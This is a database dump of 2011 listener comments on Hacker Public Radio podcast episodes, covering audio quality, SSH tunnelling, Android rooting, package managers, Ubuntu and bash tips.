(225,716,'2011-05-05 03:43:43','ponyboy','Stickers','Are there still stickers available? I\'d love to show my support for HPR.','2017-09-09 07:41:22'),
(226,716,'2011-05-06 18:02:38','Ken Fallon','Stickers','Hi Ponyboy,\r\n\r\nJust email admin at hpr with your mailing address and we\'ll send you some stickers.\r\n\r\nKen.','2017-09-09 07:41:22'),
(227,716,'2011-05-16 00:15:53','Badcam','Skype Call Recorder....','Hey Guys. Love the shows. In this episode there was mention that Skype Call Recorder only recorded one side of the conversation. It actually can record both. You just have to move the slider in the Preferences under File Format. Make sure Save to Stereo is ticked and adjust the slider. If it\'s in the middle, you\'ll get both conversations. Better yet, you should be able to start two instances of Skype Call Recorder and have one slider set to the left to record only on channel and the other instances slider moved all the way to the right, so you can record the other channel separately. Even better, get both parties to run an instance of SCR and save only your own side of the conversation and mix them together later on for a really good quality MP3. Better listening for us :)\r\n\r\nKeep it up guys. Loving it.','2017-09-09 07:41:22'),
(228,716,'2011-05-17 04:52:58','Ken Fallon','Skype Call Recorder','Thanks Badcam,\r\n\r\nIt turns out that Skype Call Recorder can handle both sides. On the popup it showed that only one of the conference participants was been recorded but when we listened to the recording both were on one track. \r\n\r\nKen.','2017-09-09 07:41:22'),
(229,717,'2011-05-03 22:47:30','pokey','Another great first time contributor','Thank you, Slurry. This episode was awesome. I found myself smiling throughout the whole thing. Your delivery was first rate. Either you nailed this in one take, or you are a pro at editing, and you have to do an episode to tell us how to edit as well as you did. \r\n\r\nIt\'s great to hear another \"geek\" helping out at church, too.\r\n\r\nI couldn\'t agree more about how Linux makes me feel when using it, especially compared to windows. I also love knowing that I can share that feeling with anyone who\'s interested. You said that you were amazed by your first live CD. How about the first time you saw gparted do a non-destructive partition edit, or heard that ext3 didn\'t need to be defragmented?\r\n\r\nI LOVE that you popped the CD drive open with a pen to avoid ever booting windows. If I ever buy a new laptop, I\'m doing exactly that.\r\n\r\nIf you decide to do more shows, I\'d love to hear how you taught yourself python. Learning python is on my long list.\r\n\r\nThanks for a fantastic show.\r\n\r\n--\r\npokey','2017-09-09 07:41:22'),
(230,717,'2011-05-04 17:47:45','slurry','Bluhing','Blushing a bit from pokey\'s comments.  This was done in one take with some minor editing.  Thanks for the episode suggestion on editing.  I\'m an amateur at it, but I\'d be glad to share what seemed to work for me.\r\n\r\nThanks for the kind words pokey.','2017-09-09 07:41:22'),
(231,717,'2011-05-10 15:57:28','Yogotiss','The Power of Linux','I am really proud of how the fast the Linux community is growing. I have a friend with a similar story as yours. The only difference is I suggested Linux as an alternative for her and she uses it primarily. I love this episode and your willingness to try Linux. I\'m going to play this episode again for others. ','2017-09-09 07:41:22'),
(232,717,'2011-05-12 18:29:58','pokey','','I was looking at your response to lostnbronx\'s show # 721. If you write an AD, and you really do want HPR folks to read... I\'m in if you want me.','2017-09-09 07:41:22'),
(233,719,'2011-05-07 03:57:05','JBu92','','wait... W. as the current president? how long ago was this recorded?','2017-09-09 07:41:22'),
(234,719,'2011-05-21 04:22:05','Lonnie','music','I had to stop the episode a short way into it due to the music being so loud and the voice at a level that was almost silent. I use in ear headphones and it was painful, please adjust. I want to listen to this podcast if you put another one out.','2017-09-09 07:41:22'),
(235,721,'2011-05-09 20:38:00','Slurry','More please','This was really good.  Great encouragement to strike out deeper into the waters of audio drama ...etc. I\'v had a book idea floating around in my head for years, but never considered doing it as audio.  Hmmm... Might be able to cast some HPR regulars for parts.  Definitely got me thinking. Thanks!','2017-09-09 07:41:22'),
(236,721,'2011-05-10 05:25:17','lostnbronx','Do It!  Do It Now!','Thanks for the kind words.  I\'m telling you, if I can record this stuff, absolutely anyone can.  And your idea just might sit around forever, gathering mental dust, if you don\'t take a stab.  AD (audio drama) is an unbelievably versatile art form, which can be molded to, essentially, any vision you have in your head.  And you\'ll like it.  Trust me: I have an honest face.','2017-09-09 07:41:22'),
(237,721,'2011-09-25 20:36:32','Tim Francisco','Great Show!','Thanks for the great HPR show. I have enjoyed listening to OTR for some time. Now you have given us some great new information on new dramas as well as OTR links.\r\n','2017-09-09 07:41:22'),
(238,722,'2011-05-10 19:26:04','pokey','Always love to hear from Mr. Montalban','Pretty cool stuff. I\'d never think to do so much research on a mobo, but it\'s good to know that it\'s out there. I listened to this one at work, and it helped me ignore some pretty annoying customers. Thanks Claudio.\r\n\r\nP.S. I\'m thinking of making my own PC case out of fine Corinthian leather. Interested in Beta testing it for me? It\'s almost flame retardant.','2017-09-09 07:41:22'),
(239,722,'2011-05-11 23:14:07','claudiom','LOL!','Hahaha, yeah I\'ll beta test it for you, but it has to be FINE Corinthian leather, otherwise I\'m out. :-p\r\n\r\nGlad you\'re enjoying the series.  I have to stress, however, that it\'s the methodology that\'s important in this series, not so much the hardware I chose.  I\'ll recap why this is in the next episode.','2017-09-09 07:41:22'),
(240,723,'2011-05-15 14:39:45','JBu92','Re:SSH forwarding','to pipe your data through SSH, it\'d be much better to do a real tunnel (ssh -d 8080 server) and pipe your browser\'s traffic through localhost:8080 (or whatever port you want to use). it\'s much less bandwidth-intensive than using remote apps, and it\'s easier to do from windows (just need putty, not putty and xming)','2017-09-09 07:41:22'),
(241,723,'2011-05-28 00:11:10','t13one','Re:SSH forwarding','2 additions to JBu92\'s comment: 1.) The type of proxy running on this dynamic port should be SOCKS5. 2.) You should also make sure your browser is tunelling all DNS requests through this connection. In Firefox\'s about:config page, \"network.proxy.socks_remote_dns\" should be true.','2017-09-09 07:41:22'),
(242,726,'2011-05-23 15:38:52','z','correction','SCSI is Small Computer System Interface. ','2017-09-09 07:41:22'),
(243,727,'2011-05-18 16:57:46','thegreatgazoo','','Some info for flashing the Moto cliq in particular.\r\n\r\nrooting: find and download z4root.\r\n    install it on your phone like any other app\r\n    open program, press the root button\r\n    u r now rooted\r\n\r\nrecovery: go to the market and install RomManager (this is clockworkmod)\r\n    open rommanager, press the install recovery button.\r\n    done.\r\n\r\nDownload rom: find a compatible rom for your phone. The cliq is old and not very well supported so rommanager did not find a rom for me. I found this port of cyanogen for the cliq. https://www.simply-android.com/discussion/1150/rom-cm4morrison-2.3-rev.-2-cyanogenmod-7-220411\r\n    copy it to the root of your sd card\r\nInstall rom: open rommanager, select \"install rom from sd card\"\r\n    pick the rom\r\n    check all the boxes\r\n    rommanager will do the reboot into recovery and install the rom for you. Ten it will reboot for you into the new OS.\r\n\r\nKlatuu kinda did it the hard way.\r\non most phones, rooting is the hard part\r\nafter that rommmanager does most of the work for you, including finding and downloading the new rom, and installing it for you.','2022-02-14 13:15:34'),
(244,727,'2011-05-18 17:23:22','thegreatgazoo','','More info on rooting\r\n\r\nz4root will root many phones running android 2.1 and below. it is the easiest way to root because no computer is needed. just install the app and run. Just as klatuu mentioned, this will just sit there looking like its doing nothing. just wait and it will reboot when its done rooting. \r\n\r\nget it here:https://forum.xda-developers.com/showthread.php?t=833953\r\n\r\nFor just about all other phones (with a few exemptions) superoneclick will root your phone. They tell you to download the development kit but you do not have to. Klatuu did not have to either.\r\nAll you really need is the \"ADB\" program, and phone device driver.\r\nOn Linux, your golden, it will recognize your phone. On Windows, just search around for your phones driver. You can sometimes get the drivers from the manufacturers website, or from google. you can download the driver pack from google without downloading the SDK. just search around.\r\nThere is no need to download 300MB worth of software just to get a small program and driver.\r\n\r\n3rd party drivers:\r\nhttps://developer.android.com/sdk/oem-usb.html\r\nGoogle driver pack:https://www.fileserve.com/file/5bgRBX5\r\n\r\nThere are some newer phones that have something called \"s lock\". these are harder but not impossible.\r\nThese have to be rooted kinda like klatuu did it. manually pushing files over, then some terminal kung-fu on the phone. after that, its clockwork mod to the rescue.\r\n\r\nall these programs have detailed forums/faq/comments on what devices do and dont work. please read and make sure you are performing the correct procedure for your specific phone.','2022-02-14 13:15:35'),
(245,727,'2011-05-19 15:46:37','klaatu','thanks for the infos','Thanks for the info, thegreatgazoo.  I figured I did it the hard way but amazingly that was kind of the only way I figured out how to do it.  Sounds like z4root is the way to go.  I just *knew* there had to be an easier way by now...','2017-09-09 07:41:22'),
(246,728,'2011-06-09 17:38:53','scriptmunkee','You\'re not alone','Dismal Science &amp; Sunzofman1, First I wanted to say that I enjoyed the show. It was good to hear about FLOSS from an ethnic perspective. I always felt like I was the only black person in FLOSS also, which was nieve of me. Now I know that there are 3 of us. ;-)','2017-09-09 07:41:22'),
(247,728,'2011-07-22 03:48:09','Alison Chaiken','Thought-provoking first effort','Best episode of HPR I\'ve heard in a while despite often inscrutable audio quality.   I will have to go back and find the \"Spics in Tech\" or whatever that episode was called now.    Your little mini-debate about whether social media APIs or cheap hardware will be more important for attracting a new audience for FLOSS was particularly insightful.','2017-09-09 07:41:22'),
(248,730,'2011-05-21 15:09:52','Cillian de R&oacute;iste','Great interviews','Just wanted to say that I really enjoy your podcasts code.cruncher. Very relaxed and informative. Thanks!','2017-09-09 07:41:22'),
(249,731,'2011-05-28 13:52:25','brother mouse','another approach','Since you like bash:\r\nalias rm=\"rm -i\"','2017-09-09 07:41:22'),
(250,732,'2011-05-29 20:29:53','BadCam','Great shows guys.','You\'re a laugh a minute. I like it. You\'re the two funniest people in Linux podcasting.','2017-09-09 07:41:22'),
(251,732,'2011-05-31 23:53:00','claudiom','Audio Recording','It\'s obvious that this along with the previous episode had some good content and I was eager to listen to them.  However, it was very difficult for me to listen to the last 2 episodes because of the extreme panning done on the voices.  This doesn\'t work very well with voice recordings because we don\'t naturally hear conversations split that way in real life.  Unfortunately, this meant that I had to skip these two episodes.\r\n\r\nIIRC, Skype Call Recorder does end up doing this to the recording (I remember going through this with Linux Basement).  The solution for me was to import the audio to Audacity (you can use any audio editor, of course), split the channels, and then pan them accordingly so they were only slightly panned from one another.  I kindly ask that you please consider this in your future episodes.  The quality of the audio isn\'t much of an issue as it\'s obvious the content is good, but the extreme panning becomes a distraction from the good content.  \r\n\r\nThanks!','2017-09-09 07:41:22'),
(252,733,'2011-05-25 18:43:38','Cillian de R&oacute;iste','You missed one! :D','Nice podcast! I do agree and (although you alluded to it) I think you didn\'t explicitly mention how really *every application* and programming language also has it\'s very own package manager (Firefox, LibreOffice, Perl, Ruby etc.).\r\n\r\nI\'ve run a fair variety of distros in my time too and this is a problem that also bugged me. That, and the fact that packaging systems often make life difficult. You may need to wait months for the next release until you can install the latest version of an application, or be forced to run an entirely unstable version of your distro even though you only care about one of two applications. Also, if something goes wrong, you can\'t easily jump back to a working system.\r\n\r\nWhile I agree that there are already too many packaging systems out there which do roughly the same thing I\'ve found a system which truly fixes a lot of problems for me and it uses a very different and radical package manager. Amazingly, you didn\'t mention it in your comprehensive listing, but it\'s not surprising really. I think people are feeling the same fatigue you present and just aren\'t interested in yet another system.\r\n\r\nI ','2017-09-09 07:41:22'),
(253,733,'2011-05-27 07:03:24','Kyashii','','This is kind of the \"fashionable\" thing to complain about today. Much like people believing that everyone runs either Gnome, (Unity,) KDE, XFCE or LXDE and that no other desktops matter.\r\n\r\nFirst of all I would say that GUI frontends aren\'t really a part of the package manager, hence I think those don\'t really matter in this discussion, and I think it is a bit unfair to count those alongside package managers.\r\n\r\nThe problem with saying that there are too many package managers is that it is like saying there are too many Linux distros.\r\n\r\nBecause of file system layout differences, differences in init scripts, differences in how current the distros want to stay, differences in if the want to do source or binary packages, differences in if they think it is the role of the package manager to handle dependencies, differences in if they want to do rolling release or separate release versions... and so on every distro would still need to have it\'s own set of repositories which would negate a lot of the benefits of having a single package manager since packages would still not be cross-compatible.\r\n\r\nThis means that as long as there is distro choice it seems impossible to ever make packages fully cross-compatible to the point where a user could install a package on any distro. A lot of packages would work if you put in a lot of user-interaction for where things are on your computer and you do packaging like sta.li where everything is statically linked so there are no dependencies... but it wouldn\'t work anyway if the package relies on a certain version of the kernel, X11 or a driver etc as statically linking those wouldn\'t really make sense.\r\n\r\nSince there is no one way to structure a Linux filesystem, a Linux init system or a Linux release schedule you will never really fix that issue if you do not want to cut Linux down to one single distro.','2017-09-09 07:41:22'),
(254,733,'2011-05-30 22:19:35','Cillian de R&oacute;iste','NixOS','My comment seems to have been chopped off. I mentioned NixOS which has a very radical approach to package and configuration management and (Nix) can comfortably co-exist on systems which use other package managers.','2017-09-09 07:41:22'),
(255,733,'2011-05-31 03:02:29','marcoz','at least one...','Cillian,\r\n  I think I missed a bunch.  :)\r\n\r\nOnly so many hours in the day. \r\nYou\'re right, I didn\'t talk about firefox, perl, python, ... having their own way of installing stuff.  I rambled enough as it is, I\'d hate to imagine how much more I would have had I brought those up.  yaourt (pacman alternative for arch linux)  has that ability and ebuild also can do that with perl.  It\'d be really cool if that was a more standard thing.  Thanks for listening and the comment!\r\n\r\nKyashii,\r\n   There\'s nothing fashionable about it from my perspective.  I\'ve heard almost noone complain of package system proliferation, in any of the forums, chatrooms,  mailing lists or news aggretators that I visit regularly.  In fact, I hear exactly the opposite on a fairly regular basis.  Someone excited about their project,  a new package manager that either fixes a certain problem in another one or a fun project they have been  \'kicking around and have been working on for the last 6 months\'  Possibly we hang out in different areas though.\r\n\r\n   I don\'t see packaging as similar to the \'everyone runs GNOME, KDE, ....  argument.  Those are about choice. Please refer to my comments about \'things able to run on the same system\'\r\n\r\n  I don\'t believe the file system heirarchy or dynamic vs static libs or system init scripts as unscalable walls.  Are there differences to be figured out? Of course,  but a file that lies on libcups.so.1.2 or libcups.a relies on that library regardless of where it lives.  (use /etc/ld.so.conf)  THings like how the daemon gets started, obviously depends on the particular system, but to say that things like this make it impossible to have one packaging system but still allow multiple distros is something that I don\'t believe.    Thanks for listening and commenting.','2017-09-09 07:41:22'),
(256,736,'2011-05-30 19:58:00','AngerFish','\"whining\"','\r\nPeople have been giving deserved criticism to Ubuntu and Shuttleworth for the design choices made, and for you to characterize this as \"whining\" is the height of cuntitude. People are invested in Ubuntu both in install base and possibly support contracts, and they have every right to criticize the distro, should they choose to, without you belittling their opinions as \"whining\". \r\nI find it hilarious that you seem to think that Canonical is doing what they do out of the goodness of their hearts, while they continue to leech on open source projects, trying to turn them proprietary at every turn.\r\n','2017-09-09 07:41:22'),
(257,736,'2011-06-01 17:36:23','Morgauxo','What bills?','Ubuntu\'s direction scares me... Not because of Unity but because of Wayland.  I respect people\'s right to run Unity if they want to, or Gnome or KDE or FVWM if that\'s their choice. But run it under X!\r\n\r\nThe wayland developers have been very clear about not being interested in supporting network transparency.  I would say to the point of arrogance.  They are very dismissive over people\'s concerns about that feature.  That particular feature of X is one of my favorite things about the current typical Linux environment.\r\n\r\nI don\'t use Ubuntu. I haven\'t cared for Gnome since all the preferences started moving into the registry.  That\'s one of my least favorite features of Windows, I surely don\'t want it in Linux.  I care about the direction Ubuntu takes because they are the leader right now.  There seems to be way more hype around Ubuntu then the other distros combined.  I fear that where they go the others will follow.  I don\'t want to see a day when the new applications are all written for Wayland.\r\n\r\nSo what bills do Canonical pay? Do they subsidize Gnome development?  Not every Linux user uses Gnome.  Gnome existed a long time before Canonical did anyway.  Actually, pretty much all of GNU/Linux existed before Canonical.  It can exist without Canonical.\r\n\r\nOpen source proved it can exist and thrive without corporate sponsorship a long time ago.  Could Canonical exist without open source? I don\'t think so.\r\n\r\n\r\n','2017-09-09 07:41:22'),
(258,738,'2011-06-09 17:30:03','g','','Great show, Joel. I don\'t know much about HAM radio, but your show made me want to look into it. I\'m looking forward to the other episodes.','2017-09-09 07:41:22'),
(259,742,'2011-06-07 16:56:19','z','unbearable quality','Sorry, but this one make such bad cracking sounds that its a pain to listen to.\r\n','2017-09-09 07:41:22'),
(260,742,'2011-06-08 05:02:52','Ken Fallon','Bad but Audible ','Hi Z,\r\n\r\nSorry about the audio quality which I\'ll accept responsibility for. This was our first time using mumble and there were a few teething issues. Immediately after recording this show we recorded HPR0741 where we had (some) of the issues resolved. \r\n\r\nGoing forward we hope to introduce some guidelines for getting good audio quality from a mumble recording but that was no reason not to use the interview. So apologies for the poor audio quality but our focus is on content and if the show is audible we\'ll put it out.\r\n\r\nOn a related note we have only 8 shows in the queue so if you would like to record an audio segment give me a shout.\r\n\r\nKen.','2017-09-09 07:41:22'),
(261,745,'2011-06-10 22:01:50','mail junky','','Gosh that brings back a few memories. I used to work in a computer software store back in the middle 1980\'s.','2017-09-09 07:41:22'),
(262,745,'2011-06-23 16:31:11','gatton','','Apparently the application was Informix Wingz? I had a hard time when googling for it since the show title says \"Wings\". Interesting topic. Thanks for sharing!','2017-09-09 07:41:22'),
(263,748,'2011-06-27 14:43:57','brother mouse','Enjoyed the list','... and I totally agree about Babbage.','2017-09-09 07:41:22'),
(264,750,'2011-06-19 00:18:03','Daniel Jonsson','','I have only been using Linux as my main OS for about half a year now, but I have also ended up with Arch. :)\r\nI have tried Ubuntu, Kubuntu and Linux Mint, but they didn\'t really feel like OSes that fitted me.','2017-09-09 07:41:22'),
(265,750,'2011-06-22 08:07:29','brother mouse','Enjoyed your show','Looking forward to your next ep.','2017-09-09 07:41:22'),
(266,751,'2011-06-20 18:17:21','Stephen','','Aaaugh! Talking over each other so much! (But the still listenable content was good.)','2017-09-09 07:41:22'),
(267,751,'2011-06-21 08:28:11','Lord drachenblut','','We apologize for this.  This was a first attempt at recording this way.  Hopefully the next one will be much better','2017-09-09 07:41:22'),
(268,751,'2011-06-24 07:01:36','monsterb','great show','Besides talking over each other.. I thought the sound quality and content was great. I\'m looking forward to future episodes. ','2017-09-09 07:41:22'),
(269,751,'2011-07-29 12:18:43','Buffalo Pete','Interesting!','I second the comments about \"talking over each other,\" but I did want to say that I found the subject matter really interesting, and I look forward to hearing more!','2017-09-09 07:41:22'),
(270,754,'2011-06-25 05:35:13','Dodgy Geezer','You already have a Universal Lnguage.','English. Esperanto is a dream, a failure and could never realistically succeed. If there\'s any language that has a chance to actually work, it will only be a real language, not some airy fairy hotch potch conglomerate of words.','2017-09-09 07:41:22'),
(271,754,'2011-07-29 12:16:37','Buffalo Pete','Thanks!','I\'ve really enjoyed this series, thanks for taking the time to put these episodes together! I\'m sorry to see it come to an end, but you wrapped it up really well. I hope to hear from you again!','2017-09-09 07:41:22'),
(272,755,'2011-06-28 01:14:57','demi','','now this is someone i could listen to! :)\r\n\r\nreally interesting stuff, and i could listen to you all day; feels like i\'m smarter already! :)','2017-09-09 07:41:22'),
(273,755,'2011-07-02 14:25:32','lostnbronx','','Great series! Keep \'em coming!','2017-09-09 07:41:22'),
(274,756,'2011-06-28 00:09:53','demi','','dude, what the hell, why do you sound so nervous? \r\n\r\nthis one sounded really ill-prepared, your stammering and breathing were really annoying to listen to, no offense, but you should probably plan your podcasts in future, and speak with more conviction.\r\n\r\nthanks for the effort though.','2017-09-09 07:41:22'),
(275,756,'2011-06-30 18:17:30','Ken Fallon','Loved the show.','Hi Joel,\r\n\r\nThanks for doing this show (for me). I had never considered that radio was just another form of light but it seems so obvious. \r\n\r\nYou\'ve joined my special club of \"recording while out of breath\" trail-blazed by myself in hpr0078 but at least you were trying to prove a point. As droops said to me back then when people complained, HPR is about quality of content and not (necessarily) about quality of audio. You covered a very difficult topic very well.  I would love to hear a HPR episode carried out over the radio. That would give us a real sense of  what the audio quality would be like. \r\n\r\nI got a lot out of the episode an I hope you continue to produce more episodes in this series.\r\n\r\nKen.','2017-09-09 07:41:22'),
(276,756,'2011-07-04 16:53:09','Billy','VROOM','Hey Joel,  ThanVROOMks for contributingVROOM to Hacker Public Radio.VROOM  One note though.  A lot ofVROOM people listen while driving.  I happened toVROOM listen to yours whileVROOM bicycling.  More than a few times. I nearlyVROOM swerved into a ditch because I heard a semi-truckVROOM coming up from behindVROOM to hit me.  Then I realized it wasVROOM on the recording, and IVROOM tuned it out, and almost DIDVROOM get hit because some silly driverVROOM had the gall to make the samVROOMe noise that wasVROOM perforating your episode.VROOM','2017-09-09 07:41:22'),
(277,756,'2011-07-09 05:09:40','BadCam','Great Show.','I didn\'t mind the audio quality at all. It felt like I was walking with you. For me, it was a sound-scape. I enjoyed the show and the sound effects just made it more interesting.\r\n\r\n(I do issue with the audio quality, but it\'s ONLY about the levels of the Intro and Outro\'s matching the podcast itself. Our ears are precious and especially if you\'re wearing earpieces. It\'s more a matter of safety for me, not quality.)','2017-09-09 07:41:22'),
(278,757,'2011-06-28 12:18:25','pokey','BRAVO!!!!','This is awesome. You had me loling all the way to work. The drivers next to me at the stop lights were quite concerned. \r\n\r\nI\'m not finished with the episode yet, but I just had to post a comment while I\'m near a computer today. \r\n\r\nPlease keep this up. A monthly show like this would be great.\r\n\r\nbtw; I have about a half a dozen HPR stickers left. I couldn\'t live with myself if you didn\'t get one of them after this episode. Please shoot me an email so I can send one out to you.','2017-09-09 07:41:22'),
(279,757,'2011-06-28 19:47:59','dismal science','Great Show','Thanks for taking the time and effort.\r\n\r\nYou have a good sense of humor, and your product review was helpful.\r\n\r\nI look forward to your next production.\r\n\r\nConsumer oriented content is always interesting; trying to dissect why companies do the things they do, and why consumers do the things they do.\r\n\r\nI will probably publish a show on a similar topic. ','2017-09-09 07:41:22'),
(280,757,'2011-06-29 14:22:10','max','great podcast','\"Dell you suck!\" thanks, that made my day :)','2017-09-09 07:41:22'),
(281,757,'2011-06-30 03:30:20','Epicanis','Thanks very much for the feedback!','I honestly had no idea how this would be received, so it\'s good to know somebody likes it.\r\n\r\nAnd I\'ll something to say about \"consumers\" in the next episode...','2017-09-09 07:41:22'),
(282,757,'2011-07-06 17:03:07','Jared','laptop battery life','how is your experience with battery life on the new linux laptop?\r\n\r\ngreat episode, btw\r\n\r\n--Jared\r\n','2017-09-09 07:41:22'),
(283,757,'2012-09-12 23:01:17','Epicanis','Crap, sorry I missed your question a year ago...','Sorry, Jared - I\'ll actually address your question in the over-a-year-overdue Episode 01, which I HOPE will actually finally get recorded and out very soon now.','2017-09-09 07:41:22'),
(284,759,'2011-07-27 23:23:31','stefodestructo','A major correction.','Bash is most definitively NOT built into the kernel.  Case in point, by default in every distro I\'ve used, the root user\'s shell is set to sh not bash.','2017-09-09 07:41:22'),
(285,762,'2011-07-07 19:57:25','Timttmy','Theatre of the imagination','Just had to say I do enjoy listening to this season. I do love a good audio book or radio play.\r\nKeep \'em coming.\r\n\r\nMarshall.','2017-09-09 07:41:22'),
(286,763,'2011-07-29 04:12:36','Frank','','I am sorry to say that you are in error.\r\n\r\nThe worst movie ever made was Killdozer, starring Clink Walker and a bulldozer possessed by an alien rock.  Neither the bulldozer nor Clint Walker was capable of acting.\r\n\r\nSecond is Terror Is a Man, sort of based on the Island of Dr. Moreau, but without direction, action, writing, cinematography, or creativity or any sort.','2017-09-09 07:41:22'),
(287,766,'2011-07-11 06:15:41','0x0','','I am getting sick of these Linux cherry popping podcasts... who the fuck cares how you first encountered Linux. We need more Klaatu!!!!!!!!!!\n','2020-05-19 09:15:15'),
(288,766,'2011-07-12 05:20:37','Ken Fallon','Contributing','Hi 0x0,\r\n\r\nPlease see The GNU World Order, July 8, 2011: Episode 6x14 (https://www.thebadapples.info/audiophile/gnuWorldOrder_6x14.ogg) as to why that unfortunately won\'t be happening as much as we all would like.\r\n\r\nFortunately there is an easy way to resolve the issue of too many podcasts on a particular topic and that is to contribute to HPR and to get more people to contribute to HPR. If you click on the link Contribute, you can find a list of the many ways you yourself can help. If you don\'t want to record a show your self, you can send us ideas on what you do want to hear about. Had you put that in your comments we might have been able to convince klaatu to do a show about it.\r\n\r\nhttps://hackerpublicradio.org/contribute.php','2022-02-14 13:15:35'),
(289,766,'2011-07-14 13:01:52','brother mouse','I\'m a little surprised... ','...the 0x0 comment got approved.  Basic civility nourishes and supports any community, folks.  ','2017-09-09 07:41:22'),
(290,766,'2011-07-14 19:36:53','Ken Fallon','The views expressed are not necessarily those of hpr ...\n','Hi Brother Mouse,\r\n\r\nWe are just the administrators of the site not the censors of it. We don\'t apply any restrictions on the show content nor should we on the comments. \r\n\r\nNeedless to say 0x0\'s comments do not necessaries those of hpr ... That said, it gave me greater pleasure pressing approve on your comments than that of 0x0.\r\n\r\nKen.','2020-05-19 09:16:59'),
(291,767,'2011-07-12 21:06:45','Mightyanonymouse','','That set up sounds like something that came right out of Larry Ellison\'s mouth talking about super terminals for home and biz. As for the plan, someone is looking through rose colored glasses. Sounds good in theory till you get into the real world. They will have to pry away my free standing computer from my dying arms before I would let someone take over all my information.','2017-09-09 07:41:22'),
(292,773,'2011-07-26 18:20:34','pokey','Great interview.','I loved this interview, every minute of it. I\'d been contemplating switching to Duck Duck Go for a while now, but this episode convinced me to go for it. I\'ve been loving DDG since this interview posted. Thank you both for doing this show.','2017-09-09 07:41:22'),
(293,774,'2011-08-19 20:10:01','aaron b','Great instrutions','A very logical and methodical set of instructions. I listen to alot of podcast, and resent the type were people just sit and talk.\r\n\r\nFor people that have no order in their work like me, thanks.','2017-09-09 07:41:22'),
(294,776,'2011-07-26 14:17:29','mail junkie','','Bravo! Bravo! By the way RS has promised to be more tinkerer friendly. I know they expanded the parts section of the RS near me.  I like to build a robot from scratch with an an old pc.  Long live the \"Robot builder\'s Bonanza\" book! \r\n','2017-09-09 07:41:22'),
(295,777,'2011-07-26 14:13:24','mail junky','','After listening to a couple of minutes of the first expert, I got tired of listening to that crock of crap. ','2017-09-09 07:41:22'),
(296,777,'2011-07-27 17:59:12','mail junky','details.','Maybe I should explain myself. There was a time when \"systems analysis\" was used. You evaluate the needs to solve a problem. If you have a web application where you only have a limited number of users and storage size is not a priority, why set up a high availability zillion multi-node servers for such a project. I.e. student testing lab at a college. Everything is in degrees. Secondly. the notion that a single server especially a linux box could not be secure is ludicrous. Sounds like someone who is inept at linux and wants to make excuses. Reminds me of some MSWindows administrators I used to know. Be that is at it may, considering how the highly touted Amazon services have had so many security issues, I definitely would not consider it a stellar example of a robust system at any level. Do not get me wrong I was a Novell, Linux, and MSWindows administrator for over ten years,  so I feel I might have a clue about all this. If you pay me enough, I will use any OS.\r\nBy the way, you actually can go from a single server to a multi node set up without taking anything down. The best way is to set up the original server ahead of time with the capabilities, so it is a matter of plug and play. Guess that is all part of the systems analysis to tie it all together.','2017-09-09 07:41:22'),
(297,777,'2011-07-28 14:41:42','Meh','I disagree','I listened to the entire episode and I thought the general idea was that cloud makes a lot of things easier and safer.  I didn\'t get any vibe of a single system being impossible to secure.  I agree that a single machine is the solution for most users (like myself) with a single site, but I don\'t think you got the point of the show.  They overall theme, as I heard it, was to think of the good but also the bad of going to a cloud option.','2017-09-09 07:41:22'),
(298,783,'2011-08-12 23:31:10','hoovra','Lbertarianism is for children','When you want to talk about living in Somalia or Iraq, the current Libertarian countries it will be informative. Hope you get the capital for the electric infrastructure to work IT. ','2017-09-09 07:41:22'),
(299,783,'2011-08-18 02:07:49','brother mouse','Hoovra\'s take','Would you care to talk a bit about why you think Somalia or Iraq are exemplars of personal liberty and the non-initiation of force?\r\n\r\nMinus the _ad hominem_, of course.\r\n\r\n','2017-09-09 07:41:22'),
(300,785,'2011-08-17 05:37:41','Ken Fallon','Loved the show.','I had it sped up as well as having it converted to mono but I went back and listened to it properly and it was excellent. I had never heard Biaural Recording before and I must say was very impressed. ','2017-09-09 07:41:22'),
(301,787,'2011-08-26 17:01:18','Krayon','Another way (in BASH)','Another way you can do this would be use the special $\'string\' expansion which is treated specially and expands string with backslash-escaped characters replaced as specified by the ANSI C standard (see under QUOTING of the bash(1) man page for more info).\r\n\r\nYou could therefore do something like this:\r\n  grep \"first\"$\'\\t\'\"second\" file.txt\r\n\r\nThis is also REALLY useful for weird characters (it supports \\nnn, \\U (unicode)) etc and the like.','2017-09-09 07:41:22'),
(302,788,'2011-08-10 02:39:01','Stephen','Re: ep 788 on Bitcoin','Enjoyed episode 788 on further research into Bitcoin. Nice and calmly presented. Would have been even better with the research all prepared beforehand rather than having spots where it\'s clearly going on during the recording :-), but still there was some good info presented beyond what we\'ve already heard. I was particularly interested in the part early on about U.S. legal aspects of money transmittal (which I think shouldn\'t properly apply to Bitcoin, but which I expect the gov\'t to try to use anyhow to assert control over it).','2017-09-09 07:41:22'),
(303,790,'2011-08-15 07:06:35','rowinggolfer','Thanks for the heads up.','wow.. why had I never heard of this? it\'s awesome. guake is going to improve my productivity no end.\r\n\r\nmany thanks.','2017-09-09 07:41:22'),
(304,792,'2011-08-16 19:01:36','Quvmoh \"coovmoh\" :-)','Thanks for the mention','Shucks here I had a real audio dude listen to my recordings and he did it at double speed, any chance you could give it a listen and tell me how it sounded? My friends and family usually just humor me :-) Love your spots! Quvmoh.','2017-09-09 07:41:22'),
(305,798,'2011-08-24 05:47:15','virtualdirt','','I found one of these keyboards at a goodwill store and used it gleefully for a couple of years.\r\nIts ruggedness was a stark contrast to the throw away keyboards made nowadays.   It felt like an IBM Selectric, (if you every used one)\r\n\r\nIt was a flashback to High School and College...  \r\n\r\nI was heart broken when my wife allowed my toddler to remove the keycaps and put them in his huge lego pile!  She hated the clickity click of the keyboard.  \r\n\r\nTo this day, I think it was a passive aggressive act of sabotage. \r\n\r\nI\'m divorced now, and my kids are beyond legos.\r\n\r\n I haven\'t listened to the podcast , but already I\'m shopping for another one.\r\n','2017-09-09 07:41:22'),
(306,798,'2011-08-25 19:05:21','jogos de motos','jogos de motos','i Love IDM download manager  this is too fast ','2017-09-09 07:41:22'),
(307,798,'2011-08-25 20:16:54','Curbuntu','...and the old Northgate keyboards','Germ,\r\nYou\'re absolutely right.  The IBM Model-M keyboard was amazing.  I was glad when Northgate picked up the design and continued to sell their version of it (late \'80s).  While listening to your episode, my fingers experienced a wave of nostalgia.  I wonder -- does anyone make an ergonomic keyboard using the same key mechanism?\r\nCurbuntu','2017-09-09 07:41:22'),
(308,798,'2011-08-26 02:00:54','Quvmoh','Love the model m','The guys at my lug scrounged me up one and I cant imagine going back..','2017-09-09 07:41:22'),
(309,798,'2011-08-30 01:46:53','z','','What John Lydon record is that in the background?','2017-09-09 07:41:22'),
